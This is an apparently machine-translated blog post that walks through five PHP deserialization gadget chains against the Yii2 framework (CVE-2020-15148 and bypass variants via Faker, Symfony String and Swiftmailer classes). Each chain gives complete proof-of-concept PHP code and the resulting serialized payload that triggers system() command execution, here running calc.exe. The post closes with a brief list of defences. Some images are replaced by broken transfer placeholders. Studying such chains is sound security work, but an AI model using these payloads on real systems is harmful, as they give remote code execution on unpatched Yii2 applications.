YII chain learning deserialization

Posted by Shit4Brains on Wed, 13 Oct 2021 20:04:31 +0200

Learning ideas of YII deserialization chain:

The first choice to learn deserialization is to find the chain in the yii framework. This is also a simple and slightly clear reproduction attempt to summarize the chains dug by other bosses

Article 1: CVE-2020-15148 (0day)

Idea:

First, we must construct a chain according to a deserialized point. At present, only__ destruct and__ wakeup these two magic methods can be used

Magic method__ destruct, called before the object is destroyed. From the perspective of system structure, the most common scenario is to turn off some functions. For example, close file stream, update data, etc. However, from the perspective of deserialization, its special use scenario represents that other methods in the class may be called in this method.

Start with the results:

<?php
    namespace yii\rest{
        class IndexAction {
            public $checkAccess;
            public $id;
            public function __construct()
            {
                $this->checkAccess="system";
                $this->id="calc.exe";

            }
        }
    }
    namespace yii\web{
        use yii\rest\IndexAction;

        class DbSession {
            protected $fields = [];
            public $writeCallback;
            public function __construct()
            {
                $this->writeCallback=[(new IndexAction),"run"];
                $this->fields['1'] = 'aaa';
            }

        }
    }
    namespace yii\db {
        use yii\web\DbSession;

        class BatchQueryResult
        {
            private $_dataReader;
            public function __construct()
            {
                $this->_dataReader=new DbSession();
            }
        }
    }
    namespace {
        $exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
    }
?>

Directly decode the result url of chain serialization, and the result is as follows:

O:23:"yii\db\BatchQueryResult":1:{s:36:"yii\db\BatchQueryResult_dataReader";O:17:"yii\web\DbSession":2:{s:9:"*fields";a:1:{i:1;s:3:"aaa";}s:13:"writeCallback";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}
  • The basic preliminary characteristics of the statement are as follows:
    1. Call class + parameter [assignment] in class + call class in magic method
    2. When calling, specify the namespace and call the specified function

It is not difficult to see that serialization is from back to front, and so is the actual call. In order to declare the function in advance, write poc in reverse.

analysis:

Step 1: the vulnerability patch is added in BatchQueryResult.php__ The wakeup function prevents deserialization and locates directly

Called when BatchQueryResult.php is destroyed__ The destroy function calls the reset method. If the dataReader is defined at this time, the close method will be called.

Namespace: namespace yii\db;

Step 2: search the close method globally and narrow the scope through the namespace yii\web in the chain


You can see that only two files marked in red are DbSession and Session, which may meet the requirements. The specified location was found

Session:


DbSession:

It is necessary to judge getIsActive in the Session as follows:

#### Official session_ The return value of status() is:
-  PHP_SESSION_DISABLED ` Session is disabled.
- PHP_SESSION_NONE` The session is enabled, but there is no current session.
- PHP_SESSION_ACTIVE` Session is enabled and there is a current session

So here constant is true, which can be judged by if.

And session_status is used to solve the session blocking mechanism to close the current session conversation. Therefore, it must not be used, so the session is excluded

Namespace: namespace yii\web

Step 3: find composeFields, MultiFieldSession.php

Only one DbSession is excluded, as follows:


You can see an incoming callback function to call_user_func, but we can't control the parameters inside. You can assign an array such as [(new test), "aaa"] as the callback function, and you can call the aaa public method in the test class.

Namespace: namespace yii\web

Step 4: find a controllable public method [(new IndexAction), "run"] through which you can judge that it is the run method in IndexAction

There is only one, and the relevant codes are as follows and fully controllable

Namespace: namespace yii\rest

Summary chain sequence:

Article 2: CVE-2020-15148 second bypass idea (_call)

Similarly, the chain and the decoded serialization are given first

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters = array();
        public function __construct()
        {
            $this->formatters['close']=[new IndexAction,"run"];
        }
    }

}

namespace yii\db {
    use Faker\Generator;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new yii\db\BatchQueryResult())));
}
O:23:"yii\db\BatchQueryResult":1:
{s:36:"yii\db\BatchQueryResult_dataReader";O:15:"Faker\Generator":1:
{s:13:"*formatters";a:1:{s:5:"close";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}}

analysis:

Step 1: in BatchQueryResult.php as in the first chain

Namespace: namespace yii\db;

Step 2: since you want to use__ call, then search globally (find the class without the close() method) Generator.php

In fact, many of them may be appropriate, but only the chain is reproduced here. In Generator.php__ Both parameters of the call method are controllable

Namespace: namespace Faker

#__ call method
 When the called method does not exist or the permission is insufficient, the method is automatically triggered, so you can find and call it directly here( format)And pass the parameter assignment in advance

Step 3: full text tracking format in the current file and subsequent steps

It can be seen that the format in Generator.php calls the method call_user_func_array to receive getFormatter and parameters. The parameters in the formatters in getFormatter can be controlled, so you can use the call_user_func found in the first chain to execute the specified command

Namespace: namespace Faker

Step 4: use the call_user_func in the run function to execute the command, IndexAction.php

Namespace: namespace yii\rest

Summary chain sequence:

Article 3: _wakeup direction

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {
            $this->checkAccess="system";
            $this->id="calc.exe";

        }
    }
}

namespace Symfony\Component\String{
    use yii\rest\IndexAction;
    class LazyString{
        private $value;
        public function __construct()
        {
            $this->value=[new IndexAction,"run"];
        }

    }
    class UnicodeString{
        protected $string = '';
        public function __construct()
        {
            $this->string=new LazyString;
        }
    }
}
namespace {
    $exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
}
O:38:"SymfonyComponentStringUnicodeString":1:{s:9:"*string";O:35:"SymfonyComponentStringLazyString":1:{s:42:"SymfonyComponentStringLazyStringvalue";a:2:{i:0;O:20:"yiirestIndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}

Analysis: _wakeup() is a function that is automatically called after an inverse sequence.

Step 1: _wakeup, Unicode string.php

The string here is controllable. The first parameter is required to be of string type, so we can find the available _tostringmethod

Namespace: namespace Symfony\Component\String;

Step 2: LazyString.php:96. You can see that if the is_string fails, the value method will be called. Without parameters, you can use the previous run method

Namespace: namespace Symfony\Component\String;

Step 3: use the call_user_func in the run function to execute the command, IndexAction.php

Namespace: namespace yii\rest

Summary chain sequence:

Article 4: the analysis sequence is the same as before

<?phpnamespace yii\rest{    class IndexAction {        public $checkAccess;        public $id;        public function __construct()        {            $this->checkAccess="system";            $this->id="calc.exe";        }    }}namespace Symfony\Component\String{    use yii\rest\IndexAction;    class LazyString{        private $value;        public function __construct()        {            $this->value=[new IndexAction,"run"];        }    }}namespace {    use Symfony\Component\String\LazyString;    class Swift_ByteStream_FileByteStream{        private $path;        public function __construct()        {            $this->path=new LazyString();        }    }    class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream{    }    $exp=print(urlencode(serialize(new Swift_ByteStream_TemporaryFileByteStream())));}
O:40:"Swift_ByteStream_TemporaryFileByteStream":1:{s:37:"Swift_ByteStream_FileByteStreampath";O:35:"Symfony\Component\String\LazyString":1:{s:42:"Symfony\Component\String\LazyStringvalue";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}

analysis:

Step 1: _destruct, TemporaryFileByteStream.php, and find the getPath in its inherited FileByteStream class

The path is controllable and can cause any file to be deleted

The file paths are:

/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php

/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/FileByteStream.php

Step 2: since getPath is controllable and file_exists requires string type parameters, you can continue the previous path to LazyString.php

Namespace: namespace Symfony\Component\String;

Step 3: use the call_user_func in the run function to execute the command, IndexAction.php

Namespace: namespace yii\rest

Summary chain sequence:

Article 5:

<?phpnamespace yii\rest{    class IndexAction {        public $checkAccess;        public $id;        public function __construct()        {            $this->checkAccess="system";            $this->id="calc.exe";        }    }}namespace Faker{    use yii\rest\IndexAction;    class Generator{        protected $formatters = array();        public function __construct()        {            $this->formatters['createTransportChangeEvent']=[new IndexAction,"run"];        }    }}namespace {    use Faker\Generator;    abstract class Swift_Transport_AbstractSmtpTransport{}    class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport    {        protected $started;        protected $eventDispatcher;        public function __construct()        {            $this->started = True;            $this->eventDispatcher = new Generator();        }    }    $exp=print(urlencode(serialize(new Swift_Transport_SendmailTransport())));}
O:33:"Swift_Transport_SendmailTransport":2:{s:10:"*started";b:1;s:18:"*eventDispatcher";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:26:"createTransportChangeEvent";a:2:{i:0;O:20:"yii\rest\IndexAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:8:"calc.exe";}i:1;s:3:"run";}}}}

analysis:

Step one: the __destruct function starts calling stop in AbstractSmtpTransport.php.

Find the stop function in the file

The eventDispatcher is controllable, so the _call method is used

Step 2: Generator.php

Namespace: namespace Faker

Step 3: full text tracking format in the current file and subsequent steps

[external chain image transfer failed, and the source station may have anti-theft chain mechanism. It is recommended to save the image and upload it directly (img-8rfn98ft-1634148188381) (C: / users / Legion / appdata / roaming / typora / typora user images /!% 5B% 5D (HTTPS: / P1. SSL. Qhimg. COM / t019077b3c080dcfe96. PNG)]375.png)

It can be seen that the format in Generator.php calls the method call_user_func_array to receive getFormatter and parameters. The parameters in the formatters in getFormatter can be controlled, so you can use the call_user_func found in the first chain to execute the specified command

Namespace: namespace Faker

Step 4: use the call_user_func in the run function to execute the command, IndexAction.php

Namespace: namespace yii\rest

Summary chain sequence:

defense

  • Authentication: the deserialization interface is used for authentication, which can only be called by authorized personnel such as background administrators
  • Whitelist, restrict deserialized classes
  • RASP (runtime application self protection) detection
  • When writing to dynamic calls and dangerous functions, be sure to backtrack variables and methods. See if the variable is controllable.
  • When allowed, dynamic calls using static attributes can prevent controllable variables from calling dangerous functions.
  • Before calling a similar structure like $this - > AAA - > BBB (), you can use instanceof to check whether it is the class you want to call.

Other points to note: the following items have been repaired. Only the version number yii2 < = 2.0.38 can be reproduced successfully

I believe that if you can patiently try it again, you can easily dig out your chain in the future.

Topics: PHP